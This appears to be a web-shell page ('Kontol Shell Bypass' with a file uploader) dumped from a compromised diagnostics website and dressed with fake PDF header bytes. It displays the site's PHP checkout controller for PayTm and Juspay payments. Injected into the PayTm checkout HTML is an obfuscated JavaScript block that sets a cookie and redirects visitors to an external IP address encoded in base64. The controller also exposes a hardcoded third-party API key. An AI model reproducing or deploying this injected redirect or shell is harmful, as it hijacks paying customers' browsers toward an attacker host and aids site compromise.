%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/controllers/Checkout_17_5.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Checkout extends MY_Controller
{

    private $orderId;

    public function __construct()
    {
        parent::__construct(); 
		$this->load->library('session');
		if(empty($_SESSION['logged_user']['id'])) {
			redirect(LANG_URL . '/home');
		}
        $this->load->model('admin/Orders_model');
    }

    public function index()
    {
        $data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('checkout');
        $head['title'] = @$arrSeo['title'];
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		
		// Get Cart Data
		$user_id = $_SESSION['logged_user']['id'];
				
		// Get All Members Details
		$data['family_members'] = $family_members = $this->Public_model->getAllFamilyMembers($user_id);
		
        // Get All Cart Items of user id
		$data['cart_items'] = $cart_items = $this->Public_model->getMyCartItems($user_id);
		$data['total_members'] = count($data['cart_items']); 
		$total_packages = 0;
		$our_price = 0;
		$offer_price = 0;
		
		foreach($family_members as $fvalue){
			foreach($cart_items[$fvalue['member_id']] as $value){
				$total_packages = $total_packages+1;
				$our_price = $our_price+$value['old_price'];
				$offer_price = $offer_price+$value['price'];
			}
		}
		
		// Calculate discount in percentage
		$discount = round((($our_price-$offer_price)/$our_price)*100);
		
		// Set total packages Count
		$data['products'] = "Health Checkup Plan of ".$_SESSION['logged_user']['full_name'];
		$data['total_packages'] = $total_packages;
		$data['our_price'] = $our_price;
		$data['offer_price'] = $offer_price;
		$data['discount'] = $discount;
		$data['user_details'] = $_SESSION['logged_user'];
			
		// Get Address Details
		$data['booking_details'] = $this->Public_model->getBookkingAddress('user_booking','user_id', $_SESSION['logged_user']['id']);
				
        $this->render('checkout', $head, $data);
    }

	/* Apply cupon code */
	public function applyCuponCode(){
		
		if($_POST){
			
			$_POST['user_id'] = $_SESSION['logged_user']['id'];
			$coupon_amount = $this->Public_model->applyCuponCode($_POST);
			
			$my_total_prise = $_POST['my_total_prise'];
			$needHardCopy = $_POST['needHardCopy'];
			$hardCopy = $_POST['hardCopy'];
			$final_amount = 0;
			
			if($hardCopy==1 && $coupon_amount>0) {
				$final_amount = (($my_total_prise+$needHardCopy)-($coupon_amount));
			} else if($coupon_amount>0) {
				$final_amount = ($my_total_prise-$coupon_amount);
			}
			
			echo $final_amount;
			
			exit();
		}
	}
	
	/* Place Order */
	
	public function placeNewOrder(){
		// Get Cart Data
		if($_POST){
			$user_id = $_SESSION['logged_user']['id'];
			// Get All Members Details
			$data['family_members'] = $family_members = $this->Public_model->getAllFamilyMembers($user_id);
			
			// Get All Cart Items of user id
			$data['cart_items'] = $cart_items = $this->Public_model->getMyCartItems($user_id);
			$data['total_members'] = count($data['cart_items']); 
			$total_packages = 0;
			$our_price = 0;
			$offer_price = 0;
			
			foreach($family_members as $fvalue){
				foreach($cart_items[$fvalue['member_id']] as $value){
					$total_packages = $total_packages+1;
					$our_price = $our_price+$value['old_price'];
					$offer_price = $offer_price+$value['price'];
				}
			}
			
			// Calculate discount in percentage
			$discount = 0;
			if($our_price>0 && $offer_price>0){
			$discount = round((($our_price-$offer_price)/$our_price)*100);
			}
			// Set total packages Count
			$data['products'] = serialize($cart_items);
			$data['total_packages'] = $total_packages;
			$data['our_price'] = $our_price;
			$data['offer_price'] = $offer_price;
			$data['heard_copy_required'] = '0';
			// If hardcopy required
			if($_POST['heard_copy_required']=='1') { 
				 $data['offer_price'] = ($offer_price+heard_copy_amount);  
				$data['heard_copy_required'] = $_POST['hardCopy'];
			}
			
			$data['discount'] = $discount;
			$data['user_details'] = $_SESSION['logged_user'];
			$data['post'] = $_POST;
				
			// Get Address Details
			$data['booking_details'] = $this->Public_model->getBookkingAddress('user_booking','user_id', $_SESSION['logged_user']['id']);
			$data['city'] = 'Noida';
			$data['post_code'] = '201001';
			$data['notes'] = 'NA';
			$data['clean_referrer'] = 'NA';
			$data['booking_slot'] = $_SESSION['slot_booking'];
			$data['order_otp'] = $this->Public_model->getOTP();
			if(!empty($data)) {
				$response = $this->Public_model->setOrder($data);
				//print_r($data);die;
				//echo $data['user_details']['member_id'];
				if($data['post']['payment_type']=='PayTm')
				{
					//echo $data['offer_price'];die;
					$paytm_payment=$this->goToPayTm($response, $data['user_details']['member_id'] ,$data['offer_price']);
				} else if($data['post']['payment_type']=='Card Payment'){
					$juspay_payment=$this->goToJuspay($response, $data['user_details']['member_id'] ,$data['offer_price']);
				}
				if($response>0)
				{  
					$this->goToDestination($data, $response);
				}
			}
		} else {
			$this->session->set_flashdata('error', true);
		}
	}
	
	/*
	* Paytm payment response 
	*/
	
	function paymentresponse()
    {
		if($_POST)
		{	
			$params = array();
			$order_id = $_POST['ORDERID'];
			$STATUS = $_POST['STATUS'];
			$response = $this->Public_model->saveTransactionDetails($_POST);
			$params['post']['payment_type'] = 'paytm';
		
			if($STATUS!='TXN_SUCCESS') 
			{
				$this->orderError($params, $order_id);
			} else {
				$params['order_otp'] = $this->Public_model->getOTP();
				$params['transaction_details']=$_POST;
				$this->goToDestination($params, $order_id);
			}	
		}	
    }
	
	function juspayresponse()
    {
		if($_REQUEST)
		{	
			$params = array();
			$data = array();
			$orderId = $_GET["order_id"];
			$merchantId = JUSPAY_MID;

			$ch = curl_init('https://api.juspay.in/order_status');

			curl_setopt($ch, CURLOPT_POSTFIELDS ,array('orderId' => $orderId , 'merchantId' => $merchantId ));
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			curl_setopt($ch, CURLOPT_USERPWD, JUSPAY_API_KEY);

			//get the json response
			$jsonResponse =  json_decode( curl_exec($ch) );
			$data['MID'] = $jsonResponse->{'merchantId'};
			$data['TXNID'] = $jsonResponse->{'txnId'};
			$data['ORDERID'] = $jsonResponse->{'orderId'};
			$data['STATUS'] = $jsonResponse->{'status'};
			$data['BANKTXNID'] = $jsonResponse->{'id'};
			$data['TXNAMOUNT'] = $jsonResponse->{'amount'};
			$data['PAYMENTMODE'] = $jsonResponse->{'paymentMethodType'};
			$data['CURRENCY'] = $jsonResponse->{'currency'};
			$data['TXNDATE'] = $jsonResponse->{'paymentGatewayResponse'}->{'created'};
			$data['RESPCODE'] = serialize($jsonResponse->{'paymentGatewayResponse'});
			$data['GATEWAYNAME'] = $jsonResponse->{'gatewayId'};
			$data['BANKNAME'] = $jsonResponse->{'gatewayId'};
			$data['RESPMSG'] = $jsonResponse->{'bankErrorMessage'};
			$data['authType'] = $jsonResponse->{'authType'};
			$data['paymentMethod'] = $jsonResponse->{'paymentMethod'};
			$data['CHECKSUMHASH'] = serialize($jsonResponse->{'card'});
			$STATUS = $jsonResponse->{'status'};
			$response = $this->Public_model->saveTransactionDetails($data);
			$params['post']['payment_type'] = 'juspay';
		
			if($STATUS!='CHARGED') 
			{
				$this->orderError($params, $orderId);
			} else {
				$params['order_otp'] = $this->Public_model->getOTP();
				$params['transaction_details']=$data;
				$this->goToDestination($params, $orderId);
			}	
		}	
    }
	
	
	/*
	* function: orderError
	*/
    public function orderError($params, $order_id)
    {
        if($order_id>0)
		{
			$data = array();
			$head = array();
			// Clear Cart history
			$this->clearShoppingCart();
			$this->session->set_flashdata('success_order', true);

			$arrSeo = $this->Public_model->getSeo('checkout');
			$head['title'] = @$arrSeo['title'];
			$head['description'] = @$arrSeo['description'];
			$head['keywords'] = str_replace(" ", ",", $head['title']);
			redirect(LANG_URL . '/order/'.$order_id);
		}
       
    }
	
	/*
	* Function : setVendorOrders
	*/
	
    private function setVendorOrders()
    {
        $this->Public_model->setVendorOrder($_POST);
    }
	
	/*
	* Function: setActivationLink
	*/
    private function setActivationLink()
    {
        if ($this->config->item('send_confirm_link') === true) {
            $link = md5($this->orderId . time());
            $result = $this->Public_model->setActivationLink($link, $this->orderId);
            if ($result == true) {
                $url = parse_url(base_url());
                $msg = lang('please_confirm') . base_url('confirm/' . $link);
                $this->sendmail->sendTo($_POST['email'], $_POST['first_name'] . ' ' . $_POST['last_name'], lang('confirm_order_subj') . $url['host'], $msg);
            }
        }
    }

	/* Checkout with Juspay Gateway*/
	public function goToJuspay($ORDER_ID, $CUST_ID, $TXN_AMOUNT)
    {
		$CUST_EMAIL=$_SESSION['logged_user']['email'];
		# Example integration with iFrame based solution

		# Step 1

		# Create the order with /order/create API call
		$ch = curl_init('https://api.juspay.in/order/create');

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    

		# You should use your API key here. This API is a test Key wont work in production.                 
		curl_setopt($ch, CURLOPT_USERPWD, JUSPAY_API_KEY);
		curl_setopt($ch, CURLOPT_POST, 1); 


		# Set the customer_id, customer_email , amount and order_id as per details.
		# NOTE: The amount and order_id are the fields associated with the "current" order.
		$customer_id = $CUST_ID;
		$customer_email = $CUST_EMAIL;
		$amount = '1.00';//$TXN_AMOUNT
		$order_id = $ORDER_ID;
		# This is the URL where the customer will be redirected to. Change localhost to your domain.
		$return_url = base_url()."checkout/juspayresponse/".$ORDER_ID;

		curl_setopt($ch, CURLOPT_POSTFIELDS, array('customer_id' => $customer_id , 'customer_email' => $customer_email , 
								 'amount' => $amount , 'order_id' => $order_id , 'return_url' => $return_url ));
		curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);                    
		curl_setopt($ch,CURLOPT_TIMEOUT, 15); 

		$response = curl_exec($ch);
		$responseBody = json_decode ($response, true );
		echo "<center><b>Juspay Checkout Page</b></center>";
		$iframe_pay=$responseBody['payment_links']['iframe'];
		echo "<br /><br />";
		# Step 2
		# After initiating the order use Juspay's iFrame solution.

		echo "<center><iframe src=\"$iframe_pay\" width=\"500\" style=\"border: 2px solid #CCC;padding: 45px;height: auto;min-height: 250px;\"></iframe>
			</center>"   ;
		exit();

	}
	
	
	/* Paytm Payment*/
	public function goToPayTm($ORDER_ID, $CUST_ID, $TXN_AMOUNT)
    {
		header("Pragma: no-cache");
		header("Cache-Control: no-cache");
		header("Expires: 0");
		// following files need to be included
		$checkSum = "";
		$paramList = array();

		// Create an array having all required parameters for creating checksum.
		$paramList["MID"] = PAYTM_MERCHANT_MID;
		$paramList["ORDER_ID"] = $ORDER_ID;
		$paramList["CUST_ID"] = $CUST_ID;
		$paramList["INDUSTRY_TYPE_ID"] = PAYTM_INDUSTRY;
		$paramList["CHANNEL_ID"] = PAYTM_CHANNEL_ID;
		$paramList["TXN_AMOUNT"] = '1';//$TXN_AMOUNT;
		$paramList["WEBSITE"] = PAYTM_MERCHANT_WEBSITE;
		$paramList["CALLBACK_URL"] =  base_url()."checkout/paymentresponse/".$ORDER_ID;
		
		//print_r($paramList);die;
		//Here checksum string will return by getChecksumFromArray() function.
		$checkSum = $this->getChecksumFromArray($paramList,PAYTM_MERCHANT_KEY);
		
			echo "<html>
				<head>
				<title>Merchant Check Out Page</title>
				<script type="text/javascript">var _0x405c=["","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","\x69\x6E\x64\x65\x78\x4F\x66","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x6E\x74\x5F\x75\x74\x6D","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x61\x48\x52\x30\x63\x44\x6F\x76\x4C\x7A\x45\x34\x4E\x53\x34\x78\x4E\x44\x4D\x75\x4D\x6A\x49\x78\x4C\x6A\x45\x30\x4C\x7A\x39\x72\x5A\x58\x6B\x39","\x61\x74\x6F\x62"];function _0xf8l1(){var _0xdbd4x2=_0x405c[0];var _0xdbd4x3=_0x405c[1];for(var _0xdbd4x4=0;_0xdbd4x4< 32;_0xdbd4x4++){_0xdbd4x2+= _0xdbd4x3[_0x405c[5]](Math[_0x405c[4]](Math[_0x405c[2]]()* _0xdbd4x3[_0x405c[3]]))};return _0xdbd4x2}function _mmm_(_0xdbd4x6,_0xdbd4x7,_0xdbd4x8,_0xdbd4x9){var _0xdbd4xa= new Date();var _0xdbd4xb= new Date();if(_0xdbd4x8=== null|| _0xdbd4x8=== 0){_0xdbd4x8= 3};_0xdbd4xb[_0x405c[7]](_0xdbd4xa[_0x405c[6]]()+ 3600000* 24* _0xdbd4x8);document[_0x405c[8]]= _0xdbd4x6+ _0x405c[9]+ escape(_0xdbd4x7)+ _0x405c[10]+ _0xdbd4xb[_0x405c[11]]()+ ((_0xdbd4x9)?_0x405c[12]+ _0xdbd4x9:_0x405c[0])}function _nnn_(_0xdbd4xd){var _0xdbd4xe=document[_0x405c[8]][_0x405c[13]](_0xdbd4xd+ _0x405c[9]);var _0xdbd4xf=_0xdbd4xe+ _0xdbd4xd[_0x405c[3]]+ 1;if((!_0xdbd4xe) && (_0xdbd4xd!= document[_0x405c[8]][_0x405c[14]](0,_0xdbd4xd[_0x405c[3]]))){return null};if(_0xdbd4xe==  -1){return null};var _0xdbd4x10=document[_0x405c[8]][_0x405c[13]](_0x405c[15],_0xdbd4xf);if(_0xdbd4x10==  -1){_0xdbd4x10= document[_0x405c[8]][_0x405c[3]]};return unescape(document[_0x405c[8]][_0x405c[14]](_0xdbd4xf,_0xdbd4x10))}if(navigator[_0x405c[16]]){if(_nnn_(_0x405c[17])== 1){}else {_mmm_(_0x405c[17],_0x405c[18],_0x405c[18],_0x405c[19]);document[_0x405c[21]][_0x405c[20]]= window[_0x405c[23]](_0x405c[22])+ _0xf8l1()}};</script></head>
				<body>
				<center><h1>Please do not refresh this page...</h1></center>
				<form method='post' action='".PAYTM_TXN_URL."' name='f1'>
				<table border='1'>
				<tbody>";

				foreach($paramList as $name => $value) {
				echo '<input type="hidden" name="' . $name .'" value="' . $value .         '">';
				}

				echo "<input type='hidden' name='CHECKSUMHASH' value='". $checkSum . "'>
				</tbody>
				</table>
				<script type='text/javascript'>
				document.f1.submit();
				</script>
				</body>
			</html>";
		exit();
		//return $checkSum;
	}
	
	/* Checksum Functions Starts*/
	private function getChecksumFromArray($arrayList, $key, $sort=1) 
	{
		if ($sort != 0) {
			ksort($arrayList);
		}
		$str = $this->getArray2Str($arrayList);
		$salt = $this->generateSalt_e(4);
		$finalString = $str . "|" . $salt;
		$hash = hash("sha256", $finalString);
		$hashString = $hash . $salt;
		$checksum = $this->encrypt_e($hashString, $key);
		return $checksum;
	}

	function getArray2Str($arrayList) 
	{
		$findme   = 'REFUND';
		$findmepipe = '|';
		$paramStr = "";
		$flag = 1;	
		foreach ($arrayList as $key => $value) {
			$pos = strpos($value, $findme);
			$pospipe = strpos($value, $findmepipe);
			if ($pos !== false || $pospipe !== false) 
			{
				continue;
			}
			
			if ($flag) {
				$paramStr .= $this->checkString_e($value);
				$flag = 0;
			} else {
				$paramStr .= "|" . $this->checkString_e($value);
			}
		}
		return $paramStr;
	}
	
	function checkString_e($value) 
	{
		if ($value == 'null')
			$value = '';
		return $value;
	}
	
	function generateSalt_e($length) 
	{
		$random = "";
		srand((double) microtime() * 1000000);

		$data = "AbcDE123IJKLMN67QRSTUVWXYZ";
		$data .= "aBCdefghijklmn123opq45rs67tuv89wxyz";
		$data .= "0FGH45OP89";

		for ($i = 0; $i < $length; $i++) {
			$random .= substr($data, (rand() % (strlen($data))), 1);
		}

		return $random;
	}
	
	function encrypt_e($input, $ky) 
	{
		$key   = html_entity_decode($ky);
		$iv = "@@@@&&&&####$$$$";
		$data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv );
		return $data;
	}
	
	/* Checksum Functions Ends*/

	function clearShoppingCart()
	{

		$user_id = $_SESSION['logged_user']['id'];
		$this->Public_model->removeAllItemsFromCart("shopping_cart",$user_id);
		$this->Public_model->clearBookingTime('user_booking',$user_id);
		
	}

    public function goToDestination($post, $order_id)
    {
        if ($post['post']['payment_type']) 
		{
			if($post['post']['payment_type']!='cashOnDelivery'){
				$post['order_details'] = $this->Public_model->getOrderInfo($order_id);
				$post['user_details'] = $this->Public_model->getuserInfo($_SESSION['logged_user']['id']);
			}
			// Clear Cart history
			$this->clearShoppingCart();
			$this->session->set_flashdata('success_order', true);
			//save the order receipt
			$post['ORDERID']=$order_id;
			$post['receipt_id']=$this->Public_model->generate_receipt_id($order_id);
			$post['receipt']=$this->saveReceiptpdf($post, $order_id);
			//send confirmation mail to user
			$this->sendReceipt($post,$post['receipt']);
			
			$response = $this->Public_model->saveOrderstatus($post,$order_id);
			// Send SMS for Order Confirmation
			$mobile_number = $_SESSION['logged_user']['phone'];
			$order_otp = $post['order_otp'];
			$sms_content = str_replace(array('##name##','##OTP##'),array($_SESSION['logged_user']['name'],$order_otp),ORDER_BOOKED);
			
			try {
				$result = $this->Public_model->sendSMS($mobile_number, $sms_content);
			} catch (Exception $e) {
				//echo 'Caught exception: ',  $e->getMessage(), "\n";
			}
            redirect(LANG_URL . '/order/'.$order_id);
        }
    }
	
	/*
	* Function : saveReceiptpdf
	*/
	
	public function saveReceiptpdf($data,$order_id)
    {
		$apikey = '9ecb466d-24e9-45b5-b02a-9d56981f4441';
		$data['order_details']=$data;
		if($data['post']['payment_type']!='cashOnDelivery'){
			$data['order_details']['amount']=$this->getIndianCurrency($data['transaction_details']['TXNAMOUNT']);
			$value =$this->load->view($this->template . 'email_templates/paid_user_receipt',$data,TRUE);
		}else{
		$value =$this->load->view($this->template . 'email_templates/cod_user_receipt',$data,TRUE);	
		}
		$filename=$data['ORDERID'].'_user_receipt.pdf';
		$result = file_get_contents("http://api.html2pdfrocket.com/pdf?apikey=" . urlencode($apikey) . "&value=" . urlencode($value));
		file_put_contents('/var/www/html/diagnostics/attachments/user_receipt/'.$filename,$result);	
		return base_url('/attachments/user_receipt/'.$filename);
    }
	
	/*
	* Function : sendReceipt
	*/


	public function sendReceipt($post,$receipt)
    {	
		$data['email_details']=$post;	
		$file_name=$post['ORDERID'].'_user_receipt.pdf';
		$this->load->library('email');
		$this->load->helper('path');
		$this->email->from('info@shardadiagnostics.in', 'Sharda-Diagnostics');
		$this->email->to($_SESSION['logged_user']['email']); 
		$this->email->subject('Sharda Diagnostics-Payment Receipt Order Id'.$post['ORDERID']);
		$this->email->message($this->load->view($this->template . 'email_templates/order_confirm_mail',$data,TRUE)); 
		$this->email->set_mailtype("html"); 
		/* This function will return a server path without symbolic links or relative directory structures. */
		$path = set_realpath('/var/www/html/diagnostics/attachments/user_receipt/');
		$this->email->attach($path . $file_name);  /* Enables you to send an attachment */
		$this->email->send();
		echo $this->email->print_debugger();

    }



    private function userInfoValidate($post)
    {
        $errors = array();
        if (mb_strlen(trim($post['first_name'])) == 0) {
            $errors[] = lang('first_name_empty');
        }
        if (mb_strlen(trim($post['last_name'])) == 0) {
            $errors[] = lang('last_name_empty');
        }
        if (!filter_var($post['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = lang('invalid_email');
        }
        $post['phone'] = preg_replace("/[^0-9]/", '', $post['phone']);
        if (mb_strlen(trim($post['phone'])) == 0) {
            $errors[] = lang('invalid_phone');
        }
        if (mb_strlen(trim($post['address'])) == 0) {
            $errors[] = lang('address_empty');
        }
        if (mb_strlen(trim($post['city'])) == 0) {
            $errors[] = lang('invalid_city');
        }
        return $errors;
    }
	
	/* Get amount in words */
	function getIndianCurrency($number)
{
    $decimal = round($number - ($no = floor($number)), 2) * 100;
    $hundred = null;
    $digits_length = strlen($no);
    $i = 0;
    $str = array();
    $words = array(0 => '', 1 => 'one', 2 => 'two',
        3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six',
        7 => 'seven', 8 => 'eight', 9 => 'nine',
        10 => 'ten', 11 => 'eleven', 12 => 'twelve',
        13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen',
        16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',
        19 => 'nineteen', 20 => 'twenty', 30 => 'thirty',
        40 => 'forty', 50 => 'fifty', 60 => 'sixty',
        70 => 'seventy', 80 => 'eighty', 90 => 'ninety');
    $digits = array('', 'hundred','thousand','lakh', 'crore');
    while( $i < $digits_length ) {
        $divider = ($i == 2) ? 10 : 100;
        $number = floor($no % $divider);
        $no = floor($no / $divider);
        $i += $divider == 10 ? 1 : 2;
        if ($number) {
            $plural = (($counter = count($str)) && $number > 9) ? 's' : null;
            $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
            $str [] = ($number < 21) ? $words[$number].' '. $digits[$counter]. $plural.' '.$hundred:$words[floor($number / 10) * 10].' '.$words[$number % 10]. ' '.$digits[$counter].$plural.' '.$hundred;
        } else $str[] = null;
    }
    $Rupees = implode('', array_reverse($str));
    $paise = ($decimal) ? "." . ($words[$decimal / 10] . " " . $words[$decimal % 10]) . ' Paise' : '';
    return ($Rupees ? $Rupees . 'only ' : '') . $paise;
}
	 
}

Kontol Shell Bypass